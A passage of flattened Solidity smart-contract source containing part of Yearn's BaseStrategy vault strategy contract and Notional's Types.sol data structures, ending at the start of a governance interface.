* @param _vault The address of the Vault responsible for this Strategy.
* @param _strategist The address to assign as `strategist`.
* The strategist is able to change the reward address
* @param _rewards The address to use for pulling rewards.
* @param _keeper The adddress of the _keeper. _keeper
* can harvest and tend a strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
// initialize variables
minReportDelay = 0;
maxReportDelay = 86400;
profitFactor = 100;
debtThreshold = 0;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
function setHealthCheck(address _healthCheck) external onlyVaultManagers {
healthCheck = _healthCheck;
}
function setDoHealthCheck(bool _doHealthCheck) external onlyVaultManagers {
doHealthCheck = _doHealthCheck;
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it\'s worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI) external onlyAuthorized {
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate conversion from `_amtInWei` (denominated in wei)
* to `want` (using the native decimal characteristics of `want`).
* @dev
* Care must be taken when working with decimals to assure that the conversion
* is compatible. As an example:
*
* given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals),
* with USDC/ETH = 1800, this should give back 1800000000 (180 USDC)
*
* @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want`
* @return The amount in `want` of `_amtInEth` converted to `want`
**/
function ethToWant(uint256 _amtInWei) public view virtual returns (uint256);
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public view virtual returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault\'s accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy\'s debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy\'s positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* Liquidate everything and returns the amount that got freed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy\'s positions back to the Vault.
*/
function liquidateAllPositions() internal virtual returns (uint256 _amountFreed);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCostInWei` must be priced in terms of `wei` (1e-18 ETH).
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCostInWei The keeper\'s estimated gas cost to call `tend()` (in wei).
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCostInWei) public view virtual returns (bool) {
// We usually don\'t need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
// If your implementation uses the cost of the call in want, you can
// use uint256 callCost = ethToWant(callCostInWei);
return false;
}
/**
* @notice
* Adjust the Strategy\'s position. The purpose of tending isn\'t to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don\'t take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCostInWei` must be priced in terms of `wei` (1e-18 ETH).
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/main/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCostInWei The keeper\'s estimated gas cost to call `harvest()` (in wei).
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) {
uint256 callCost = ethToWant(callCostInWei);
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven\'t waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
// Should trigger if hasn\'t been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We\'ve earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy\'s position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy\'s position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy\'s position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 amountFreed = liquidateAllPositions();
if (amountFreed < debtOutstanding) {
loss = debtOutstanding.sub(amountFreed);
} else if (amountFreed > debtOutstanding) {
profit = amountFreed.sub(debtOutstanding);
}
debtPayment = debtOutstanding.sub(loss);
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
uint256 totalDebt = vault.strategies(address(this)).totalDebt;
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
// call healthCheck contract
if (doHealthCheck && healthCheck != address(0)) {
require(HealthCheck(healthCheck).check(profit, loss, debtPayment, debtOutstanding, totalDebt), "!healthcheck");
} else {
doHealthCheck = true;
}
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by the Vault.
* @dev
* The new Strategy\'s Vault must be the same as this Strategy\'s Vault.
* The migration process should be carefully performed to make sure all
* the assets are migrated to the new address, which should have never
* interacted with the vault before.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault));
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyEmergencyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
* ```
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
* ```
*/
function protectedTokens() internal view virtual returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
abstract contract BaseStrategyInitializable is BaseStrategy {
bool public isOriginal = true;
event Cloned(address indexed clone);
constructor(address _vault) public BaseStrategy(_vault) {}
function initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) external virtual {
_initialize(_vault, _strategist, _rewards, _keeper);
}
function clone(address _vault) external returns (address) {
require(isOriginal, "!clone");
return this.clone(_vault, msg.sender, msg.sender, msg.sender);
}
function clone(
address _vault,
address _strategist,
address _rewards,
address _keeper
) external returns (address newStrategy) {
// Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol
bytes20 addressBytes = bytes20(address(this));
assembly {
// EIP-1167 bytecode
let clone_code := mload(0x40)
mstore(clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone_code, 0x14), addressBytes)
mstore(add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
newStrategy := create(0, clone_code, 0x37)
}
BaseStrategyInitializable(newStrategy).initialize(_vault, _strategist, _rewards, _keeper);
emit Cloned(newStrategy);
}
}
// File: Types.sol
/// @notice Different types of internal tokens
/// - UnderlyingToken: underlying asset for a cToken (except for Ether)
/// - cToken: Compound interest bearing token
/// - cETH: Special handling for cETH tokens
/// - Ether: the one and only
/// - NonMintable: tokens that do not have an underlying (therefore not cTokens)
enum TokenType {UnderlyingToken, cToken, cETH, Ether, NonMintable}
/// @notice Specifies the different trade action types in the system. Each trade action type is
/// encoded in a tightly packed bytes32 object. Trade action type is the frst big endian byte of the
/// 32 byte trade action object. The schemas for each trade action type are defined below.
enum TradeActionType {
// (uint8 TradeActionType, uint8 MarketIndex, uint88 fCashAmount, uint32 minImpliedRate, uint120 unused)
Lend,
// (uint8 TradeActionType, uint8 MarketIndex, uint88 fCashAmount, uint32 maxImpliedRate, uint128 unused)
Borrow,
// (uint8 TradeActionType, uint8 MarketIndex, uint88 assetCashAmount, uint32 minImpliedRate, uint32 maxImpliedRate, uint88 unused)
AddLiquidity,
// (uint8 TradeActionType, uint8 MarketIndex, uint88 tokenAmount, uint32 minImpliedRate, uint33 maxImpliedRate, uint88 unused)
RemoveLiquidity,
// (uint8 TradeActionType, uint32 Maturity, int88 fCashResidualAmount, uint128 unused)
PurchaseNTokenResidual,
// (uint8 TradeActionType, address CounterpartyAddress, int88 fCashAmountToSettle)
SettleCashDebt
}
/// @notice Specifies different deposit actions that can occur during BalanceAction or BalanceActionWithTrades
enum DepositActionType {
// No deposit action
None,
// Deposit asset cash, depositActionAmount is specified in asset cash external precision
DepositAsset,
// Deposit underlying tokens that are mintable to asset cash, depositActionAmount is specified in underlying token
// external precision
DepositUnderlying,
// Deposits specified asset cash external precision amount into an nToken and mints the corresponding amount of
// nTokens into the account
DepositAssetAndMintNToken,
// Deposits specified underlying in external precision, mints asset cash, and uses that asset cash to mint nTokens
DepositUnderlyingAndMintNToken,
// Redeems an nToken balance to asset cash. depositActionAmount is specified in nToken precision. Considered a deposit action
// because it deposits asset cash into an account. If there are fCash residuals that cannot be sold off, will revert.
RedeemNToken,
// Converts specified amount of asset cash balance already in Notional to nTokens. depositActionAmount is specified in
// Notional internal 8 decimal precision.
ConvertCashToNToken
}
/// @notice Used internally for PortfolioHandler state
enum AssetStorageState {NoChange, Update, Delete, RevertIfStored}
/****** Calldata objects ******/
/// @notice Defines a balance action for batchAction
struct BalanceAction {
// Deposit action to take (if any)
DepositActionType actionType;
uint16 currencyId;
// Deposit action amount must correspond to the depositActionType, see documentation above.
uint256 depositActionAmount;
// Withdraw an amount of asset cash specified in Notional internal 8 decimal precision
uint256 withdrawAmountInternalPrecision;
// If set to true, will withdraw entire cash balance. Useful if there may be an unknown amount of asset cash
// residual left from trading.
bool withdrawEntireCashBalance;
// If set to true, will redeem asset cash to the underlying token on withdraw.
bool redeemToUnderlying;
}
/// @notice Defines a balance action with a set of trades to do as well
struct BalanceActionWithTrades {
DepositActionType actionType;
uint16 currencyId;
uint256 depositActionAmount;
uint256 withdrawAmountInternalPrecision;
bool withdrawEntireCashBalance;
bool redeemToUnderlying;
// Array of tightly packed 32 byte objects that represent trades. See TradeActionType documentation
bytes32[] trades;
}
/****** In memory objects ******/
/// @notice Internal object that represents settled cash balances
struct SettleAmount {
uint256 currencyId;
int256 netCashChange;
}
/// @notice Internal object that represents a token
struct Token {
address tokenAddress;
bool hasTransferFee;
int256 decimals;
TokenType tokenType;
uint256 maxCollateralBalance;
}
/// @notice Internal object that represents an nToken portfolio
struct nTokenPortfolio {
CashGroupParameters cashGroup;
PortfolioState portfolioState;
int256 totalSupply;
int256 cashBalance;
uint256 lastInitializedTime;
bytes6 parameters;
address tokenAddress;
}
/// @notice Internal object used during liquidation
struct LiquidationFactors {
address account;
// Aggregate free collateral of the account denominated in ETH underlying, 8 decimal precision
int256 netETHValue;
// Amount of net local currency asset cash before haircuts and buffers available
int256 localAssetAvailable;
// Amount of net collateral currency asset cash before haircuts and buffers available
int256 collateralAssetAvailable;
// Haircut value of nToken holdings denominated in asset cash, will be local or collateral nTokens based
// on liquidation type
int256 nTokenHaircutAssetValue;
// nToken parameters for calculating liquidation amount
bytes6 nTokenParameters;
// ETH exchange rate from local currency to ETH
ETHRate localETHRate;
// ETH exchange rate from collateral currency to ETH
ETHRate collateralETHRate;
// Asset rate for the local currency, used in cross currency calculations to calculate local asset cash required
AssetRateParameters localAssetRate;
// Used during currency liquidations if the account has liquidity tokens
CashGroupParameters collateralCashGroup;
// Used during currency liquidations if it is only a calculation, defaults to false
bool isCalculation;
}
/// @notice Internal asset array portfolio state
struct PortfolioState {
// Array of currently stored assets
PortfolioAsset[] storedAssets;
// Array of new assets to add
PortfolioAsset[] newAssets;
uint256 lastNewAssetIndex;
// Holds the length of stored assets after accounting for deleted assets
uint256 storedAssetLength;
}
/// @notice In memory ETH exchange rate used during free collateral calculation.
struct ETHRate {
// The decimals (i.e. 10^rateDecimalPlaces) of the exchange rate, defined by the rate oracle
int256 rateDecimals;
// The exchange rate from base to ETH (if rate invert is required it is already done)
int256 rate;
// Amount of buffer as a multiple with a basis of 100 applied to negative balances.
int256 buffer;
// Amount of haircut as a multiple with a basis of 100 applied to positive balances
int256 haircut;
// Liquidation discount as a multiple with a basis of 100 applied to the exchange rate
// as an incentive given to liquidators.
int256 liquidationDiscount;
}
/// @notice Internal object used to handle balance state during a transaction
struct BalanceState {
uint16 currencyId;
// Cash balance stored in balance state at the beginning of the transaction
int256 storedCashBalance;
// nToken balance stored at the beginning of the transaction
int256 storedNTokenBalance;
// The net cash change as a result of asset settlement or trading
int256 netCashChange;
// Net asset transfers into or out of the account
int256 netAssetTransferInternalPrecision;
// Net token transfers into or out of the account
int256 netNTokenTransfer;
// Net token supply change from minting or redeeming
int256 netNTokenSupplyChange;
// The last time incentives were claimed for this currency
uint256 lastClaimTime;
// The last integral supply amount when tokens were claimed
uint256 lastClaimIntegralSupply;
}
/// @dev Asset rate used to convert between underlying cash and asset cash
struct AssetRateParameters {
// Address of the asset rate oracle
AssetRateAdapter rateOracle;
// The exchange rate from base to quote (if invert is required it is already done)
int256 rate;
// The decimals of the underlying, the rate converts to the underlying decimals
int256 underlyingDecimals;
}
/// @dev Cash group when loaded into memory
struct CashGroupParameters {
uint16 currencyId;
uint256 maxMarketIndex;
AssetRateParameters assetRate;
bytes32 data;
}
/// @dev A portfolio asset when loaded in memory
struct PortfolioAsset {
// Asset currency id
uint256 currencyId;
uint256 maturity;
// Asset type, fCash or liquidity token.
uint256 assetType;
// fCash amount or liquidity token amount
int256 notional;
// Used for managing portfolio asset state
uint256 storageSlot;
// The state of the asset for when it is written to storage
AssetStorageState storageState;
}
/// @dev Market object as represented in memory
struct MarketParameters {
bytes32 storageSlot;
uint256 maturity;
// Total amount of fCash available for purchase in the market.
int256 totalfCash;
// Total amount of cash available for purchase in the market.
int256 totalAssetCash;
// Total amount of liquidity tokens (representing a claim on liquidity) in the market.
int256 totalLiquidity;
// This is the previous annualized interest rate in RATE_PRECISION that the market traded
// at. This is used to calculate the rate anchor to smooth interest rates over time.
uint256 lastImpliedRate;
// Time lagged version of lastImpliedRate, used to value fCash assets at market rates while
// remaining resistent to flash loan attacks.
uint256 oracleRate;
// This is the timestamp of the previous trade
uint256 previousTradeTime;
}
/****** Storage objects ******/
/// @dev Token object in storage:
/// 20 bytes for token address
/// 1 byte for hasTransferFee
/// 1 byte for tokenType
/// 1 byte for tokenDecimals
/// 9 bytes for maxCollateralBalance (may not always be set)
struct TokenStorage {
// Address of the token
address tokenAddress;
// Transfer fees will change token deposit behavior
bool hasTransferFee;
TokenType tokenType;
uint8 decimalPlaces;
// Upper limit on how much of this token the contract can hold at any time
uint72 maxCollateralBalance;
}
/// @dev Exchange rate object as it is represented in storage, total storage is 25 bytes.
struct ETHRateStorage {
// Address of the rate oracle
AggregatorV2V3Interface rateOracle;
// The decimal places of precision that the rate oracle uses
uint8 rateDecimalPlaces;
// True of the exchange rate must be inverted
bool mustInvert;
// NOTE: both of these governance values are set with BUFFER_DECIMALS precision
// Amount of buffer to apply to the exchange rate for negative balances.
uint8 buffer;
// Amount of haircut to apply to the exchange rate for positive balances
uint8 haircut;
// Liquidation discount in percentage point terms, 106 means a 6% discount
uint8 liquidationDiscount;
}
/// @dev Asset rate oracle object as it is represented in storage, total storage is 21 bytes.
struct AssetRateStorage {
// Address of the rate oracle
AssetRateAdapter rateOracle;
// The decimal places of the underlying asset
uint8 underlyingDecimalPlaces;
}
/// @dev Governance parameters for a cash group, total storage is 9 bytes + 7 bytes for liquidity token haircuts
/// and 7 bytes for rate scalars, total of 23 bytes. Note that this is stored packed in the storage slot so there
/// are no indexes stored for liquidityTokenHaircuts or rateScalars, maxMarketIndex is used instead to determine the
/// length.
struct CashGroupSettings {
// Index of the AMMs on chain that will be made available. Idiosyncratic fCash
// that is dated less than the longest AMM will be tradable.
uint8 maxMarketIndex;
// Time window in 5 minute increments that the rate oracle will be averaged over
uint8 rateOracleTimeWindow5Min;
// Total fees per trade, specified in BPS
uint8 totalFeeBPS;
// Share of the fees given to the protocol, denominated in percentage
uint8 reserveFeeShare;
// Debt buffer specified in 5 BPS increments
uint8 debtBuffer5BPS;
// fCash haircut specified in 5 BPS increments
uint8 fCashHaircut5BPS;
// If an account has a negative cash balance, it can be settled by incurring debt at the 3 month market. This
// is the basis points for the penalty rate that will be added the current 3 month oracle rate.
uint8 settlementPenaltyRate5BPS;
// If an account has fCash that is being liquidated, this is the discount that the liquidator can purchase it for
uint8 liquidationfCashHaircut5BPS;
// If an account has fCash that is being liquidated, this is the discount that the liquidator can purchase it for
uint8 liquidationDebtBuffer5BPS;
// Liquidity token haircut applied to cash claims, specified as a percentage between 0 and 100
uint8[] liquidityTokenHaircuts;
// Rate scalar used to determine the slippage of the market
uint8[] rateScalars;
}
/// @dev Holds account level context information used to determine settlement and
/// free collateral actions. Total storage is 28 bytes
struct AccountContext {
// Used to check when settlement must be triggered on an account
uint40 nextSettleTime;
// For lenders that never incur debt, we use this flag to skip the free collateral check.
bytes1 hasDebt;
// Length of the account\'s asset array
uint8 assetArrayLength;
// If this account has bitmaps set, this is the corresponding currency id
uint16 bitmapCurrencyId;
// 9 total active currencies possible (2 bytes each)
bytes18 activeCurrencies;
}
/// @dev Holds nToken context information mapped via the nToken address, total storage is
/// 16 bytes
struct nTokenContext {
// Currency id that the nToken represents
uint16 currencyId;
// Annual incentive emission rate denominated in WHOLE TOKENS (multiply by
// INTERNAL_TOKEN_PRECISION to get the actual rate)
uint32 incentiveAnnualEmissionRate;
// The last block time at utc0 that the nToken was initialized at, zero if it
// has never been initialized
uint32 lastInitializedTime;
// Length of the asset array, refers to the number of liquidity tokens an nToken
// currently holds
uint8 assetArrayLength;
// Each byte is a specific nToken parameter
bytes5 nTokenParameters;
}
/// @dev Holds account balance information, total storage 32 bytes
struct BalanceStorage {
// Number of nTokens held by the account
uint80 nTokenBalance;
// Last time the account claimed their nTokens
uint32 lastClaimTime;
// The total integral supply of the nToken at the last claim time packed into
// 56 bits. There is some loss of precision here but it is acceptable
uint56 packedLastClaimIntegralSupply;
// Cash balance of the account
int88 cashBalance;
}
/// @dev Holds information about a settlement rate, total storage 25 bytes
struct SettlementRateStorage {
uint40 blockTime;
uint128 settlementRate;
uint8 underlyingDecimalPlaces;
}
/// @dev Holds information about a market, total storage is 42 bytes so this spans
/// two storage words
struct MarketStorage {
// Total fCash in the market
uint80 totalfCash;
// Total asset cash in the market
uint80 totalAssetCash;
// Last annualized interest rate the market traded at
uint32 lastImpliedRate;
// Last recorded oracle rate for the market
uint32 oracleRate;
// Last time a trade was made
uint32 previousTradeTime;
// This is stored in slot + 1
uint80 totalLiquidity;
}
struct ifCashStorage {
// Notional amount of fCash at the slot, limited to int128 to allow for
// future expansion
int128 notional;
}
/// @dev A single portfolio asset in storage, total storage of 19 bytes
struct PortfolioAssetStorage {
// Currency Id for the asset
uint16 currencyId;
// Maturity of the asset
uint40 maturity;
// Asset type (fCash or Liquidity Token marker)
uint8 assetType;
// Notional
int88 notional;
}
/// @dev nToken total supply factors for the nToken, includes factors related
/// to claiming incentives, total storage 32 bytes
struct nTokenTotalSupplyStorage {
// Total supply of the nToken
uint96 totalSupply;
// Integral of the total supply used for calculating the average total supply
uint128 integralTotalSupply;
// Last timestamp the supply value changed, used for calculating the integralTotalSupply
uint32 lastSupplyChangeTime;
}
/// @dev Used in view methods to return account balances in a developer friendly manner
struct AccountBalance {
uint16 currencyId;
int256 cashBalance;
int256 nTokenBalance;
uint256 lastClaimTime;
uint256 lastClaimIntegralSupply;
}
// File: NotionalGovernance.sol
interface NotionalGovernance {
event ListCurrency(uint16 newCurrencyId);
event UpdateETHRate(uint16 currencyId);
event UpdateAssetRate(uint16 currencyId);
event UpdateCashGroup(uint16 currencyId);
event DeployNToken(uint16 currencyId, address nTokenAddress);
event UpdateDepositParameters(uint16 currencyId);
event UpdateInitializationParameters(uint16 currencyId);
